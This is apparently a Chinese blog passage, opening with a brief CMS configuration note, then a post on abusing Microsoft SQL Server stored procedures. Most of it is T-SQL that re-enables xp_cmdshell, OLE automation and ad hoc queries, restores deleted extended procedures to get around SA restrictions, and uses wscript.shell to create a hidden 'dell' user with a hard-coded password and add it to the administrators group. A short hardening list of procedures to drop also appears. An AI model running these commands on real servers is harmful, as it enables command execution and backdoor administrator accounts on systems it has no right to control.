如要改格式只能改e/pl/more/index.php文件了,直接用dreamweaver打开那个php文件

15,关于帝国审核问题

如果系统有多个编辑的话,建议把直接审核去掉直接审核的话就会生成文件

29
Apr

如果不删除sql危险存储?

Author: 比比巴儿

如果不删除sql危险存储,可以按下面的方法执行系统命令

sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

SQL2005开启’OPENROWSET’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed Queries’,1;RECONFIGURE;

SQL2005开启’sp_oacreate’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ole Automation Procedures’,1;RECONFIGURE;

突破SA的各种困难

常见情况恢复执行xp_cmdshell
1 未能找到存储过程’master..xpcmdshell’.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc “xp_cmdshell”
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’
第二步执行:exec sp_addextendedproc ‘xp_cmdshell’,'xpweb70.dll’
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add’

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add’

xp或2003server系统:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add’

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net localgroup administrators dell /add’

————–
xp_cmdshell新的恢复办法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ‘xp_cmdshell’

恢复
dbcc addextendedproc (”sp_oacreate”,”odsole70.dll”)
dbcc addextendedproc (”xp_cmdshell”,”xplog70.dll”)

这样可以直接恢复,不用去管sp_addextendedproc是不是存在

—————————–

删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc ‘xp_cmdshell’

恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

开启cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
返回结果为1就ok

恢复xp_cmdshell
exec master.dbo.addextendedproc ‘xp_cmdshell’,'xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
返回结果为1就ok

否则上传xplog7.0.dll
exec master.dbo.addextendedproc ‘xp_cmdshell’,'c:\winnt\system32\xplog70.dll’

堵上cmdshell的sql语句
sp_dropextendedproc “xp_cmdshell
—————-
删除sql危险存储:

DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc

/*不狐 附上恢复扩展存储过程的办法

先恢复sp_addextendedproc,语句如下:

SQL代码

  1. create procedure sp_addextendedproc — 1996/08/30 20:13   
  2. @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as  
  3. set implicit_transactions off  
  4. if @@trancount > 0   
  5. begin  
  6. raiserror(15002,-1,-1,’sp_addextendedproc’)   
  7. return (1)   
  8. end  
  9. dbcc addextendedproc( @functname, @dllname)   
  10. return (0) – sp_addextendedproc   
  11. GO  

再恢复以上所有扩展存储过程

SQL代码

  1. use master    
  2. exec sp_addextendedproc xp_cmdshell,‘xp_cmdshell.dll’    
  3. exec sp_addextendedproc xp_dirtree,‘xpstar.dll’    
  4. exec sp_addextendedproc xp_enumgroups,‘xplog70.dll’    
  5. exec sp_addextendedproc xp_fixeddrives,‘xpstar.dll’    
  6. exec sp_addextendedproc xp_loginconfig,‘xplog70.dll’    
  7. exec sp_addextendedproc xp_enumerrorlogs,‘xpstar.dll’    
  8. exec sp_addextendedproc xp_getfiledetails,‘xpstar.dll’    
  9. exec sp_addextendedproc sp_OACreate,‘odsole70.dll’    
  10. exec sp_addextendedproc sp_OADestroy,‘odsole70.dll’    
  11. exec sp_addextendedproc sp_OAGetErrorInfo,‘odsole70.dll’    
  12. exec sp_addextendedproc sp_OAGetProperty,‘odsole70.dll’    
  13. exec sp_addextendedproc sp_OAMethod,‘odsole70.dll’    
  14. exec sp_addextendedproc sp_OASetProperty,‘odsole70.dll’    
  15. exec sp_addextendedproc sp_OAStop,‘odsole70.dll’    
  16. exec sp_addextendedproc xp_regaddmultistring,‘xpstar.dll’    
  17. exec sp_addextendedproc xp_regdeletekey,‘xpstar.dll’    
  18. exec sp_addextendedproc xp_regdeletevalue,‘xpstar.dll’    
  19. exec sp_addextendedproc xp_regenumvalues,‘xpstar.dll’    
  20. exec sp_addextendedproc xp_regread,‘xpstar.dll’    
  21. exec sp_addextendedproc xp_regremovemultistring,‘xpstar.dll’    
  22. exec sp_addextendedproc xp_regwrite,‘xpstar.dll’    
  23. exec sp_addextendedproc xp_availablemedia,‘xpstar.dll’